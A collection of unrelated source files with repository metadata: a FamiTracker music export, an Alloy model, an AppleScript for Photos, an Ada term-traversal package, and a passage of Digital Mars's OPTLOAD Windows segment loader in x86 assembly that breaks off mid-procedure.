<reponame>zeta0134/bhop<gh_stars>1-10 ; Dn-FamiTracker exported music data: qxy_arp_interactions.0cc ; ; Module header .word ft_song_list .word ft_instrument_list .word ft_sample_list .word ft_samples .word ft_groove_list .byte 0 ; flags .word 3600 ; NTSC speed .word 3000 ; PAL speed ; Instrument pointer list ft_instrument_list: .word ft_inst_0 .word ft_inst_1 .word ft_inst_2 .word ft_inst_3 ; Instruments ft_inst_0: .byte 0 .byte $02 .word ft_seq_2a03_1 ft_inst_1: .byte 0 .byte $00 ft_inst_2: .byte 0 .byte $03 .word ft_seq_2a03_0 .word ft_seq_2a03_6 ft_inst_3: .byte 0 .byte $00 ; Sequences ft_seq_2a03_0: .byte $01, $FF, $00, $00, $0F ft_seq_2a03_1: .byte $0D, $FF, $00, $02, $00, $01, $01, $01, $01, $01, $01, $01, $01, $01, $01, $01, $01 ft_seq_2a03_6: .byte $02, $FF, $00, $01, $26, $23 ; DPCM instrument list (pitch, sample index) ft_sample_list: ; DPCM samples list (location, size, bank) ft_samples: ; Groove list ft_groove_list: .byte $00 ; Grooves (size, terms) ; Song pointer list ft_song_list: .word ft_song_0 ; Song info ft_song_0: .word ft_s0_frames .byte 1 ; frame count .byte 64 ; pattern length .byte 12 ; speed .byte 150 ; tempo .byte 0 ; groove position .byte 0 ; initial bank ; ; Pattern and frame data for all songs below ; ; Bank 0 ft_s0_frames: .word ft_s0f0 ft_s0f0: .word ft_s0p0c0, ft_s0p0c1, ft_s0p0c2, ft_s0p0c1, ft_s0p0c1 ; Bank 0 ft_s0p0c0: .byte $82, $07, $E0, $19, $7F, $E1, $98, $4C, $19, $7F, $E0, $98, $4C, $19, $83, $7F, $17 ; Bank 0 ft_s0p0c1: .byte $00, $3F ; Bank 0 ft_s0p0c2: .byte $00, $2F, $82, $03, $E3, $98, $4C, $25, $7F, $E2, $98, $4C, $25, $83, $7F, $03 ; DPCM samples (located at DPCM segment)
alloy4fun_models/trashltl/models/13/kREWhbFSiix6PdywD.als
Kaixi26/org.alloytools.alloy
0
4467
<filename>alloy4fun_models/trashltl/models/13/kREWhbFSiix6PdywD.als<gh_stars>0 open main pred idkREWhbFSiix6PdywD_prop14 { Protected in Trash implies Protected' not in Trash } pred __repair { idkREWhbFSiix6PdywD_prop14 } check __repair { idkREWhbFSiix6PdywD_prop14 <=> prop14o }
utils/get_photo_info.applescript
scanner/osxphotos
656
3863
-- Displays UUID and other info about selected photos -- Useful for debugging with osxphotos tell application "Photos" activate set theDelimiter to ";" set theBackup to AppleScript's text item delimiters -- Set the new delimiter set AppleScript's text item delimiters to theDelimiter set theResults to selection repeat with theItem in theResults set theKeywords to keywords of theItem if theKeywords is not {} then theKeywords = (theKeywords as text) else theKeywords = "none" end if set theStr to (((((id of theItem) as text) & ", " & (filename of theItem) as text) & ", " & theKeywords & ", " & (name of theItem) as text) & ", " & (description of theItem) as text) & " " display dialog theStr end repeat set AppleScript's text item delimiters to theBackup end tell
src/tom/library/sl/ada/environmentpackage.adb
rewriting/tom
36
15827
with Ada.Text_IO, Ada.Characters.Latin_1, VisitableIntrospectorPackage, VisitablePackage; use Ada.Text_IO, Ada.Characters.Latin_1, VisitableIntrospectorPackage, VisitablePackage; package body EnvironmentPackage is --private procedure makeEnvironment(env: in out Environment; len: Integer ; intro: IntrospectorPtr) is begin env.omega := new IntArray(0..len); env.subterm := new ObjectPtrArray(0..len); env.current := 0; -- root is in subterm(0) env.omega(0) := 0; -- the first cell is not used env.introspector := intro; end; procedure makeEnvironment(env: in out Environment) is begin makeEnvironment(env, DEFAULT_LENGTH, getInstance); end; procedure makeEnvironment(env: in out Environment; intro: IntrospectorPtr) is begin makeEnvironment(env, DEFAULT_LENGTH, intro); end; function newEnvironment return EnvironmentPtr is ret : EnvironmentPtr := new Environment; begin makeEnvironment(ret.all); return ret; end; function newEnvironment(intro: IntrospectorPtr) return EnvironmentPtr is ret : EnvironmentPtr := new Environment; begin makeEnvironment(ret.all, intro); return ret; end; --private procedure ensureLength(env: in out Environment; minLength: Integer) is max : Integer := Integer'Max(env.omega'Length * 2 , minLength); newOmega : IntArrayPtr := new IntArray(0..max-1); newSubterm : ObjectPtrArrayPtr := new ObjectPtrArray(0..max-1); begin if minLength > env.omega'Length then newOmega( env.omega'Range ) := env.omega( env.omega'Range ); newSubterm( env.omega'Range ) := env.subterm( env.subterm'Range ); env.omega := newOmega; env.subterm := newSubterm; end if; end; function clone(env: Environment) return Environment is newEnv : Environment := env; begin newEnv.omega := new IntArray(env.omega'Range); newEnv.subterm := new ObjectPtrArray(env.subterm'Range); newEnv.omega( newEnv.omega'Range ) := env.omega( env.omega'Range ); newEnv.subterm( newEnv.subterm'Range ) := env.subterm( env.subterm'Range ); return newEnv; end; function equals(env1, env2 : Environment) return Boolean is c : Integer := env1.current; begin if env1.current = env2.current and then env1.omega(0..c) = env2.omega(0..c) and then env2.subterm(0..c) = env2.subterm(0..c) then return true; else return False; end if; end; function hashCode(env: Environment) return Integer is begin return 0; end; function getStatus(env: Environment) return Integer is begin return env.status; end; procedure setStatus(env: in out Environment; s: Integer) is begin env.status := s; end; function getRoot(env: Environment) return ObjectPtr is begin return env.subterm(env.subterm'First); end; procedure setRoot(env: in out Environment; r: ObjectPtr) is begin env.subterm(env.subterm'First) := r; end; function getCurrentStack(env: Environment) return ObjectPtrArray is begin return env.subterm(0..env.current-1); end; function getAncestor(env: Environment) return ObjectPtr is begin return env.subterm(env.current-1); end; function getSubject(env: Environment) return ObjectPtr is begin return env.subterm(env.current); end; procedure setSubject(env: in out Environment; root: ObjectPtr) is begin env.subterm(env.current) := root; end; function getIntrospector(env: Environment) return IntrospectorPtr is begin return env.introspector; end; procedure setIntrospector(env: in out Environment; i: IntrospectorPtr) is begin env.introspector := i; end; function getSubOmega(env: Environment) return Integer is begin return env.omega(env.current); end; function depth(env: Environment) return Integer is begin return env.current; end; function getPosition(env: Environment) return Position is begin return PositionPackage.makeFromSubarray(env.omega, env.omega'First+1, depth(env)); end; procedure up(env: in out Environment) is childIndex : Integer := env.omega(env.current)-1; child : ObjectPtr := env.subterm(env.current); begin env.current := env.current - 1; env.subterm(env.current) := setChildAt(env.introspector, env.subterm(env.current) , childIndex, child); end; procedure upLocal(env: in out Environment) is begin env.current := env.current - 1; end; procedure down(env: in out Environment; n: Integer) is child : ObjectPtr := null; begin --put_line("before down: " & toString(env)); if n > 0 then child := env.subterm(env.current); env.current := env.current + 1; if env.current = env.omega'length then ensureLength(env, env.current + 1); end if; env.omega(env.current) := n; env.subterm(env.current) := getChildAt(env.introspector, child, n-1); end if; --put_line("after down: " & toString(env)); end; --private procedure genericFollowPath(env: in out Environment; p: Path'Class; local: Boolean) is normalizerdPathArray : IntArrayPtr := toIntArray( getCanonicalPath( p ) ); len : Integer := normalizerdPathArray'Length; begin for i in normalizerdPathArray'Range loop if normalizerdPathArray(i) > 0 then down(env, normalizerdPathArray(i)); if env.subterm(env.current).all in Position'Class and then i+1 < normalizerdPathArray'Last then genericFollowPath(env, Position(env.subterm(env.current).all), local); end if; elsif local then upLocal(env); else up(env); end if; end loop; end; procedure followPath(env: in out Environment; p: Path'Class) is begin genericFollowPath(env, p, false); end; procedure followPathLocal(env: in out Environment; p: Path'Class) is begin genericFollowPath(env, p, true); end; procedure goToPosition(env: in out Environment; p: Position) is begin followPath(env, PositionPackage.sub(p, getPosition(env))); end; overriding function toString(env: Environment) return String is str : access String := new String'("["); begin for i in 0..env.current loop str := new String'(str.all & Integer'Image( env.omega(i) ) ); if i < env.current then str := new String'(str.all & "," ); end if; end loop; str := new String'(str.all & "]" & LF & "["); for i in 0..env.current loop if env.subterm(i) = null then str := new String'(str.all & "null" ); else str := new String'(str.all & ObjectPack.toString( env.subterm(i).all ) ); end if; if i < env.current then str := new String'(str.all & "," ); end if; end loop; str := new String'(str.all & "]"); return str.all; end; end EnvironmentPackage;
appload/nappload.asm
DigitalMars/optlink
28
81717
<reponame>DigitalMars/optlink TITLE OPTLOAD - Copyright (c) 1993 SLR Systems INCLUDE MACROS INCLUDE newexe.inc ;* Macros & constants keep_read_only EQU 0 .286 PUBLIC __SLRLOAD __SLRLOAD = 9999h ; SOFT EXTF GLOBALALLOC,GLOBALREALLOC,GLOBALFREE,PATCHCODEHANDLE,GLOBALDOSALLOC ; SOFT EXTF GETPROCADDRESS,ALLOCCSTODSALIAS,FREESELECTOR,GETWINFLAGS,MESSAGEBOX ; SOFT EXTF SELECTORACCESSRIGHTS,DOS3CALL,GLOBALLOCK,GLOBALDOSFREE ; SOFT EXTA __AHINCR SOFT EXTF $$SLR$C2D$SLR$$,$$SLR$MB$SLR$$ SOFT EXTA $$SLR$AH$SLR$$ INT3 MACRO ; INT 3 ENDM LOADER___SLRLOAD SEGMENT PUBLIC PARA 'CODE' ASSUME NOTHING,CS:LOADER___SLRLOAD START: if compress_pass1 PUBLIC COMPRESS_SKIP,COMPRESS_SEED,BOOTAPP_END DB 'A','0' DW 0 DD 0 ;I SUPPLY THIS DD 0 ;I SUPPLY THIS TOO DD 0 ;ADDRESS OF GLOBALHEAP MYALLOC DD 0 ;SUPPLIED BY KERNEL GETENTRY DD 0 ;SUPPLIED BY KERNEL DD 0 ;I SUPPLY THIS DD 0 ;? DD 0 ;? SETOWNER DD 0 ;SUPPLIED BY KERNEL MY_HANDLE_PTR DW 0 else DB 'A','0' DW 0 DD BOOTAPP ;I SUPPLY THIS DD LOADAPPSEG1 ;I SUPPLY THIS TOO DD 0 ;ADDRESS OF GLOBALHEAP MYALLOC DD 0 ;SUPPLIED BY KERNEL GETENTRY DD 0 ;SUPPLIED BY KERNEL DD EXITAPP ;I SUPPLY THIS DD 0 ;? DD 0 ;? SETOWNER DD 0 ;SUPPLIED BY KERNEL MY_HANDLE_PTR DW MY_HANDLE _DATA SEGMENT WORD PUBLIC 'DATA' MY_HANDLE DW -1 _DATA ENDS DGROUP GROUP _DATA endif ;PCNT_SAVED DB '53' ;PERCENT COMPRESSED IN ASCII ; ;ALL RELOCATABLE REFERENCES MUST BE THROUGH A JUMP TABLE.... ; _ALLOCCSTODSALIAS LABEL DWORD MD $$SLR$C2D$SLR$$ ;ALLOCCSTODSALIAS KERNEL.170 if BOX ;_MESSAGEBOX LABEL DWORD MD $$SLR$MB$SLR$$ ;MESSAGEBOX USER.1 endif ___AHINCR LABEL WORD MW $$SLR$AH$SLR$$ ;__AHINCR KERNEL.114 COMPRESSED_LENGTH DW C_LEN COMPRESS_SKIP EQU $ ;START FILLING COMPRESSION DICTIONARY HERE: IS_DLL DB 0 EXITAPP PROC FAR ; ;THIS NEVER GETS CALLED ; RET EXITAPP ENDP DPMI_UNQUIK PROC NEAR ; ;DECOMPRESS THIS SEGMENT PLEASE... ; ;DS:SI IS SOURCE DATA, ES:DI IS DESTINATION ; ;DECOMPRESSOR ; LODSW XOR CX,CX XCHG AX,BP MOV DX,0010H ;16 BITS LEFT TO ROTATE JMP 1$ EVEN 25$: MOV BP,[SI] MOV DL,16 LEA SI,2[SI] JMP 251$ 26$: MOV BP,[SI] MOV DL,16 LEA SI,2[SI] JMP 261$ 51$: LODSW XCHG AX,BP MOV DL,16 JMP 511$ 52$: LODSW XCHG AX,BP MOV DL,16 JMP 521$ EVEN 15$: ; LODSW ; XCHG AX,BP MOV BP,[SI] MOV DL,16 LEA SI,2[SI] JNC 2$ 0$: ; ;STRAIGHT BYTE ; MOVSB 1$: ADD BP,BP DEC DX JZ 15$ JC 0$ 2$: ; ;0 ; ADD BP,BP DEC DX JZ 25$ 251$: JC 3$ ; ;00x 2 or 3, these are most likely ; XOR BH,BH 252$: INC CX ;CX = 1 ADD BP,BP DEC DX JZ 26$ 261$: ADC CX,CX ;CX = 2 OR 3 CMP CX,2 JZ 27$ 5$: ; ;GET HIGH BYTE OF OFFSET ; XOR BH,BH PUSH CX ADD BP,BP DEC DX JZ 51$ 511$: JC 6$ ; ;0 ; ADD BP,BP DEC DX JZ 52$ 521$: JC 55$ ; ;00 IS 0 ; RANGE_DONE: POP CX 27$: MOV BL,[SI] INC SI NOT BX MOV AX,SI LEA SI,[BX+DI] ;03 ; CLI ;02 REP MOVS [DI],ES:BYTE PTR [SI] ;05+04 PER ; STI ;02 MOV SI,AX ;02 = JMP 1$ 56$: LODSW XCHG AX,BP MOV DL,16 JMP 561$ 59$: LODSW XCHG AX,BP MOV DL,16 JMP 591$ EVEN 55$: ; ;01 ; INC BH ADD BP,BP DEC DX JZ 56$ 561$: JNC RANGE_DONE ;010 IS 1 ; ;011X IS 2 OR 3 ; MOV CX,201H GET_RANGE_CX: XOR BH,BH 58$: ADD BP,BP DEC DX JZ 59$ 591$: ADC BH,BH DEC CL JNZ 58$ ADD BH,CH JMP RANGE_DONE 3$: ; ;1 ; INC CX ;1 ADD BP,BP DEC DX JZ 31$ 311$: JNC 252$ ; ;11 ; INC CX ;2 ADD BP,BP DEC DX JZ 32$ 321$: JNC 252$ ; ;111 ; CALL GET_BIT MOV BX,802H JNC GET_BX ;1110XX IS 8-11 4$: ; ;1111 ; CALL GET_BIT MOV BX,0C03H JNC GET_BX ;11110XXX IS 12-19 ; ;11111 ; MOV CL,[SI] INC SI CMP CL,81H MOV CH,0 JB 5$ JNZ 9$ MOV CL,CH JMP 1$ 9$: RET 6$: ; ;1 ; CALL GET_BIT JC 7$ ; ;10 ; CALL GET_BIT MOV CX,402H JNC GET_RANGE_CX ;100XX IS 4-7 ; ;101XXX IS 8-F ; MOV CX,803H JMP GET_RANGE_CX 31$: LODSW XCHG AX,BP MOV DL,16 JMP 311$ 7$: ; ;11 ; CALL GET_BIT MOV CX,1004H JNC GET_RANGE_CX ;110XXXX IS 10H-1FH ; ;111 ; CALL GET_BIT MOV CX,2004H JNC GET_RANGE_CX ;1110XXXX IS 20H-2FH ; ;1111 ; CALL GET_BIT MOV CX,3004H JNC GET_RANGE_CX MOV CX,4006H JMP GET_RANGE_CX 32$: LODSW XCHG AX,BP MOV DL,10H JMP 321$ EVEN GET_BX: ; ; ; XOR CX,CX 8$: ADD BP,BP DEC DX JZ 81$ 811$: ADC CX,CX DEC BL JNZ 8$ ADD CL,BH JMP 5$ 81$: ; LODSW ; XCHG AX,BP MOV BP,[SI] MOV DL,10H LEA SI,2[SI] JMP 811$ DPMI_UNQUIK ENDP EVEN GET_BIT PROC NEAR ; ; ; ADD BP,BP DEC DX JZ 1$ RET 1$: ; LODSW ; XCHG AX,BP MOV BP,[SI] MOV DL,16 LEA SI,2[SI] RET GET_BIT ENDP GET_CSALIAS_AX PROC NEAR ; ; ; PUSH CS CALL _ALLOCCSTODSALIAS ;RETURNS IN AX RET GET_CSALIAS_AX ENDP BOOTAPP PROC FAR ;PASSES HANDLE TO EXEHEADER AND OPEN FILE HANDLE ; ;PASCAL CALLING CONVENTIONS ; ;PARAM1 == SELECTOR CONTAINING EXEHEADER ;PARAM2 == FILE HANDLE ; ;RETURN 0==ERROR, !0== SUCCESS ; INT3 PUSH BP MOV BP,SP PUSHM DS,SI,DI EXE_SELECTOR EQU <(WPTR [BP+8])> FILE_HANDLE EQU <(WPTR [BP+6])> ; INT3 ; DEBMSG 'BOOTAPP - EXE Selector',EXE_SELECTOR ; DEBMSG 'BOOTAPP - FILE Handle',FILE_HANDLE MOV AX,___AHINCR ;DETECT ILLEGAL REAL-MODE CMP AX,1000H JNZ 1$ 0$: POPM DI,SI,DS,BP RET 4 COPYRGHT DB 'OPTLOADER - Copyright (C) 1993-2004 Digital Mars',0AH db 'All Rights Reserved' if BOX DB 0AH,'For evaluation purposes Only' endif DB 0 if DEBUG BOOTAPP_MSG DB 'BOOTAPP Here',0 endif 1$: ; ;NEED R/W ALIAS FOR INITIALIZATION ; CALL GET_CSALIAS_AX OR AX,AX JZ 0$ MOV DS,AX ;DS IS R/W CS if compress_apploader ; ;MOVE COMPRESSED CODE UP IN MEMORY ; MOV ES,AX ;FOR STORING DECOMPRESSED CODE LEA SI,LOADAPPSEG1-1 LEA DI,BOOTAPP_END+15 MOV CX,COMPRESSED_LENGTH ADD SI,CX STD REP MOVSB CLD ; ;DECOMPRESS IT BACK WHERE IT BELONGS ; LEA SI,1[DI] LEA DI,LOADAPPSEG1 PUSH BP CALL DPMI_UNQUIK POP BP ; ;CONTINUE AS YOU WERE... ; JMP BOOTAPP_CONTINUE COMPRESS_SEED EQU $ endif if compress_pass2 LOADAPPSEG1: BOOTAPP_CONTINUE EQU LOADAPPSEG1+3 INCLUDE COMPRESS.DAT ;THANKS MIKE ORG START+B_C_LEN BOOTAPP ENDP BOOTAPP_END LABEL BYTE DB 16 DUP(0) endif if compress_pass1 OR (NOT compress_apploader) ; ;PASS1 WE BUILD IT COMPLETE ; LOADAPPSEG1: JMP LOADAPPSEGS BOOTAPP_CONTINUE: ASSUME DS:LOADER___SLRLOAD MOV AX,EXE_SELECTOR PUSH AX CALL INIT_SYSCALLS ;VALIDATE SYSTEM CALLS XOR DI,DI ;DI IS ZERO THROUGHOUT MOV ME_ASCIZ.SEGM,CS MOV AX,OFF ME_ASCIZ_TEXT PUSHM DS,AX PUSH 260 MOV ME_ASCIZ.OFFS,AX CALL _GETMODULEFILENAME ; ;LOOK FOR 80X87 ; ; DEBMSG 'Checking for 80X87' CALL _GETWINFLAGS TEST AX,WF_80X87 JZ 2$ ; DEBMSG 'Found 80X87' MOV RELOC_OSTYPE_TBL,OFF OSTYPE_ABORT ;STOP AT THESE 2$: ; ;CALCULATE LARGEST SEGMENT PIECE ; MOV ES,EXE_SELECTOR ;SET UP DS FOR RETURN MOV AX,ES:[DI].NEW_EXE.NE_AUTODATA MOV CX,ES:[DI].NEW_EXE.NE_CSEG ;# OF SEGMENTS MOV DGROUP_SEGNO,AX MOV SI,ES:[DI].NEW_EXE.NE_SEGTAB ;BEGINNING OF SEGMENT TABLE 21$: MOV AX,ES:[SI].NEW_SEG.NS_CBSEG ADD SI,SIZE NEW_SEG1 CMP MAX_SEGSZ_FILE,AX JA 22$ MOV MAX_SEGSZ_FILE,AX 22$: DEC CX JNZ 21$ ; DEBMSG 'MAX_SEGSZ_FILE',MAX_SEGSZ_FILE ADD MAX_SEGSZ_FILE,511+511 JNC 23$ MOV MAX_SEGSZ_FILE,0 23$: ; DEBMSG 'MAX_SEGSZ_FILE',MAX_SEGSZ_FILE TEST ES:[DI].NEW_EXE.NE_FLAGS,8000H JZ 29$ DEC IS_DLL 29$: MOV AX,DS PUSH ES POP DS ASSUME DS:NOTHING ;EXE_HEADER CALL FREE_CSALIAS_AX if DEBUG PUSHM 0,CS,OFF BOOTAPP_MSG,ME_ASCIZ.SEGM,ME_ASCIZ.OFFS,MB_OK+MB_SYSTEMMODAL CALL _MESSAGEBOX endif CALL GET_MASTER_TEMP JZ ERR_BOOT MOV DS,EXE_SELECTOR XOR DI,DI ; ;ALLOCATE MEMORY HANDLES ; CALL ALLOCATE_HANDLES ;ALLOCATES ALL BUT DGROUP OR AX,AX JZ ERR_BOOT ; DEBMSG 'Handles Successfully Allocated' ; ;LOAD DGROUP FIRST TO FORCE ITS MEMORY TO BE ALLOCATED ;(SINCE OTHER SEGMENTS MAY REFER TO IT LEGALLY IN SINGLE-INSTANCE CASES) ; MOV AX,[DI].NEW_EXE.NE_AUTODATA ;LOAD DGROUP IF THERE OR AX,AX JZ 4$ ;SOME DLL'S MAY NOT HAVE A DGROUP ; DEBMSG 'Load DGROUP' PUSHM DS,FILE_HANDLE,AX ;EXE_SELECTOR, FILE_HANDLE, SEGMENT # CALL LOADAPPSEG OR AX,AX JNZ 4$ ERR_BOOT: PUSHM 0,CS,OFF LOADERRMSG,ME_ASCIZ.SEGM,ME_ASCIZ.OFFS,MB_OK+MB_ICONHAND+MB_SYSTEMMODAL CALL _MESSAGEBOX XOR AX,AX JMP END_BOOT 4$: ; ;NOW LOAD ALL DATA SEGMENTS SINCE THEIR SELECTORS ARE 'PRESENT' ; ; DEBMSG 'Loading DATA Segs and PRELOAD Segs' MOV CX,1 ;START WITH SEGMENT 1 MOV SI,[DI].NEW_EXE.NE_SEGTAB 41$: CMP [DI].NEW_EXE.NE_CSEG,CX ;STOP IF END OF TABLE JB 49$ MOV AX,[SI].NEW_SEG.NS_FLAGS TEST AL,NSLOADED ;SKIP IF LOADED (DGROUP) JNZ 48$ ; TEST AL,NSPRELOAD ;LOAD IF PRELOAD ; JNZ 43$ ; TEST AL,NSMOVE ; JZ 43$ ;LOAD IF IT WAS FIXED CMP [DI].NEW_EXE.NE_CSIP.SEGM,CX ;PRELOAD START ADDRESS SEGMENT JZ 43$ TEST AL,NSDATA ;SKIP IF NOT DATA JZ 48$ CMP [SI].NEW_SEG.NS_MINALLOC,DI ;PRELOAD ONLY IF 64K... JZ 43$ CMP CX,1 JZ 48$ CMP [SI-SIZE NEW_SEG1].NEW_SEG.NS_MINALLOC,DI JNZ 48$ TEST [SI-SIZE NEW_SEG1].NEW_SEG.NS_FLAGS,NSDATA JZ 48$ DEBMSG 'LOADING TILED SEGMENT' 43$: PUSH CX ;SAVE CX PUSHM DS,FILE_HANDLE,CX ;EXE_SELECTOR, FILE_HANDLE, SEGMENT # CALL LOADAPPSEG POP CX OR AX,AX JZ ERR_BOOT 48$: ADD SI,SIZE NEW_SEG1 INC CX JMP 41$ 49$: ; DEBMSG 'Copyright (C) 1993 SLR Systems' if BOX or DEBUG PUSHM 0,CS,OFF COPYRGHT,ME_ASCIZ.SEGM,ME_ASCIZ.OFFS,MB_OK+MB_SYSTEMMODAL CALL _MESSAGEBOX endif MOV AX,SP END_BOOT: PUSH AX ;SAVE ERROR FLAG CALL FREE_MASTER_TEMP POP AX ;ERROR FLAG ; DEBMSG 'MAX_SEGSZ_FILE',MAX_SEGSZ_FILE POPM DI,SI,DS,BP RET 4 BOOTAPP ENDP ASSUME DS:NOTHING GET_MASTER_TEMP PROC NEAR ; ;ALLOCATE MEMORY TO BE USED FOR LOADING DATA SEGMENTS ; XOR CX,CX MOV AX,MAX_SEGSZ_FILE ;MAX FILE_IMAGE OR AX,AX JNZ 31$ INC CX 31$: PUSHM GMEM_MOVEABLE,CX,AX PUSHM CX,AX ;TRY FOR 64K OF DOS MEMORY CALL _GLOBALDOSALLOC ;RETURN SELECTOR IN AX OR AX,AX MOV DX,AX JNZ 32$ CALL _GLOBALALLOC ;NOPE, USE EXTENDED MEMORY OR AX,AX JZ 9$ PUSHM AX,AX CALL _GLOBALLOCK POP AX JMP 33$ 32$: XOR AX,AX ADD SP,6 33$: PUSHM DX,AX CALL GET_CSALIAS_AX MOV DS,AX POPM AX,DX ASSUME DS:LOADER___SLRLOAD MOV MASTER_TEMP_HANDLE,AX MOV MASTER_TEMP_SEGMENT,DX XOR AX,AX PUSH DS MOV DS,AX POP AX ASSUME DS:NOTHING CALL FREE_CSALIAS_AX OR AL,-1 9$: RET GET_MASTER_TEMP ENDP FREE_MASTER_TEMP PROC NEAR MOV AX,MASTER_TEMP_HANDLE OR AX,AX JNZ 75$ MOV AX,MASTER_TEMP_SEGMENT OR AX,AX JZ 76$ PUSH AX CALL _GLOBALDOSFREE JMP 76$ 75$: PUSH AX CALL _GLOBALFREE 76$: CALL GET_CSALIAS_AX MOV DS,AX ASSUME DS:LOADER___SLRLOAD MOV MASTER_TEMP_SEGMENT,0 MOV AX,DS PUSH SS POP DS ASSUME DS:NOTHING ; ;DONE WITH R/W ALIAS ; CALL FREE_CSALIAS_AX RET FREE_MASTER_TEMP ENDP ;APP_START PROC ; ; PUSHM ES,DX,CX,BX,AX ; PUSHM 0,CS,OFF COPYRGHT,CS,OFF PROGRESS_MSG,MB_OK ;+MB_SYSTEMMODAL ; CALL _MESSAGEBOX ; POPM AX,BX,CX,DX,ES ; JMP START_ADDR ; ;APP_START ENDP ALLOCATE_HANDLES PROC NEAR ; ;DS == EXE Header ;DI == 0 ; ;ALLOCATE HANDLES FOR ALL SEGMENTS NOT ALREADY ALLOCATED ; ;RETURN AX!=0 FOR SUCCESS ; ;CODE SEGMENTS WILL BE ALLOCATED 0 BYTES NOW TO GET SELECTORS ASSIGNED ;WILL BE REALLOCATED WHEN LOADED ; ;DATA SEGMENTS WILL BE ALLOCATED TO FULL SIZE???? >64K SIZES HANDLED CORRECTLY ; ;DGROUP WILL BE ALLOCATED LATER BY LOADAPPSEG, SINCE IT IS NEEDED FOR MULTIPLE INSTANCES ; ; DEBMSG 'Allocate Handles' MOV CX,[DI].NEW_EXE.NE_CSEG ;# OF SEGMENTS MOV SI,[DI].NEW_EXE.NE_SEGTAB ;BEGINNING OF SEGMENT TABLE ; ;THERE IS AT LEAST ONE SEGMENT, ME... ; 1$: ; AND [SI].NEW_SEG.NS_FLAGS,NOT NSERONLY ;IGNORE EXECUTE-ONLY READ-ONLY BIT CMP [SI].NEW_SEG1.NS_HANDLE,DI ;HANDLE ALREADY THERE? JNZ 8$ ;LIKE FROM HUGE ALLOC? CMP [DI].NEW_EXE1.NE_PAUTODATA,SI ;SKIP ALLOC FOR DGROUP JZ 8$ MOV BX,[SI].NEW_SEG.NS_FLAGS ;LOAD FLAGS PUSH CX iff keep_read_only AND BX,NOT NSERONLY ;IGNORE EXECUTE-ONLY AND READ-ONLY BIT endif TEST BL,NSDATA JNZ FALLOC_DATA ; DEBMSG 'Alloc CODE Segment' OR BH,NSWINCODE/256 ;ASSUME A CODE SEGMENT 2$: OR BL,10H ;FORCE MOVEABLE PUSHM BX,DI,DI ;FLAGS, 0, 0 ALLOCATES SELECTORS, NO MEMORY CALL MYALLOC MOV AX,DX 5$: OR AX,AX ;ZERO MEANS ALLOC FAILED JZ 7$ OR BPTR [SI].NEW_SEG.NS_FLAGS,NSALLOCED ;HANDLE ALLOCATED MOV [SI].NEW_SEG1.NS_HANDLE,AX ;SAVE IT PUSHM AX,DS CALL SETOWNER ;TELL THEM WHO REALLY OWNS THIS TURKEY POP CX 8$: ADD SI,SIZE NEW_SEG1 DEC CX JNZ 1$ 9$: MOV AX,SP ;AX NON-ZERO MEANS SUCCESS RET FALLOC_DATA: CMP [SI].NEW_SEG.NS_MINALLOC,DI ;IS IT 64K? JNZ 2$ JZ FALLOC_HDATA ;YES, ASSUME HUGE ; DEBMSG 'Alloc DATA Segment' PUSHM GMEM_MOVEABLE, 0,[SI].NEW_SEG.NS_MINALLOC CALL _GLOBALALLOC ;RETURNS HANDLE JMP 5$ 7$: POP CX XOR AX,AX ;SIGNAL FAILURE RET FALLOC_HDATA: ; ;HOW LARGE IS THIS HUGE SEGMENT? ; ; DEBMSG 'Alloc HUGE DATA Segment' PUSHM SI,CX XOR DX,DX 3$: ; ;SCAN COUNTING CONTIGUOUS SEGMENTS ; INC DX ;COUNT # OF 64K SEGMENTS ADD SI,SIZE NEW_SEG1 DEC CX ;STOP IF NO MORE SEGMENTS JZ 33$ CMP [DI].NEW_EXE1.NE_PAUTODATA,SI ;STOP IF NEXT IS DGROUP JZ 33$ CMP [SI].NEW_SEG.NS_MINALLOC,DI ;CONTINUE IF THIS GUY 64K JZ 3$ JMP 35$ 33$: SUB SI,SIZE NEW_SEG1 35$: PUSH DX PUSHM GMEM_MOVEABLE,DX,[SI].NEW_SEG.NS_MINALLOC CALL _GLOBALALLOC POPM DX,CX,SI OR AX,AX JZ 7$ PUSHM SI,AX 4$: ADD SI,SIZE NEW_SEG1 ADD AX,___AHINCR DEC CX JZ 45$ ;SKIP IF THAT WAS LAST SEGMENT CMP [DI].NEW_EXE1.NE_PAUTODATA,SI ;STOP IF NEXT IS DGROUP JZ 45$ OR [SI].NEW_SEG.NS_FLAGS,NSALLOCED OR NSTILED MOV [SI].NEW_SEG1.NS_HANDLE,AX DEC DX JNZ 4$ 45$: POPM AX,SI JMP 5$ ALLOCATE_HANDLES ENDP ASSUME DS:NOTHING,ES:NOTHING LOADAPPSEGS PROC FAR ; ; ; INT3 PUSH BP MOV BP,SP SUB SP,4 EXE_SELECTOR EQU <(WPTR [BP+10])> LA_FILE_HANDLE EQU <(WPTR [BP+8])> SEGNO EQU <(WPTR [BP+6])> LA1_AX EQU <(WPTR [BP-2])> LA1_DX EQU <(WPTR [BP-4])> MOV AX,LA_FILE_HANDLE MOV CX,SEGNO CMP AX,-1 JNZ 1$ CMP DGROUP_SEGNO,CX JZ 921$ CALL GET_MY_HANDLE CMP AX,-1 JNZ 1$ DEBMSG 'NULL HANDLE' 921$: JMP 92$ 1$: MOV LA_FILE_HANDLE,AX CMP PRELOADS_DONE,0 ;HAVE I DONE PRELOADS YET? JZ 4$ ;NOPE, GO DO THEM 2$: PUSHM EXE_SELECTOR,LA_FILE_HANDLE,SEGNO CALL LOADAPPSEG ;YES, JUST LOAD REQUEST SEGMENT 8$: 9$: MOV SP,BP POP BP RET 6 4$: DEBMSG 'DEMAND LOAD FORCED PRELOADS',SEGNO PUSHM DS,SI,DI XOR DI,DI MOV LA1_AX,DI MOV LA1_DX,DI CALL GET_CSALIAS_AX MOV DS,AX ASSUME DS:LOADER___SLRLOAD MOV PRELOADS_DONE,-1 XOR AX,AX PUSH DS MOV DS,AX POP AX ASSUME DS:NOTHING CALL FREE_CSALIAS_AX CALL GET_MASTER_TEMP ;SET UP MEMORY TO USE FOR LOAD ; ;NEED TO DO PRELOADS, THEN DO THE REQUESTED SEGMENT IF NOT ALREADY... ; ; ;NOW LOAD ALL DATA SEGMENTS SINCE THEIR SELECTORS ARE 'PRESENT' ; ; DEBMSG 'Loading DATA Segs and PRELOAD Segs' MOV DS,EXE_SELECTOR MOV CX,1 ;START WITH SEGMENT 1 MOV SI,[DI].NEW_EXE.NE_SEGTAB 41$: CMP [DI].NEW_EXE.NE_CSEG,CX ;STOP IF END OF TABLE JB 49$ MOV AX,[SI].NEW_SEG.NS_FLAGS TEST AL,NSLOADED ;SKIP IF LOADED (DGROUP) JNZ 48$ 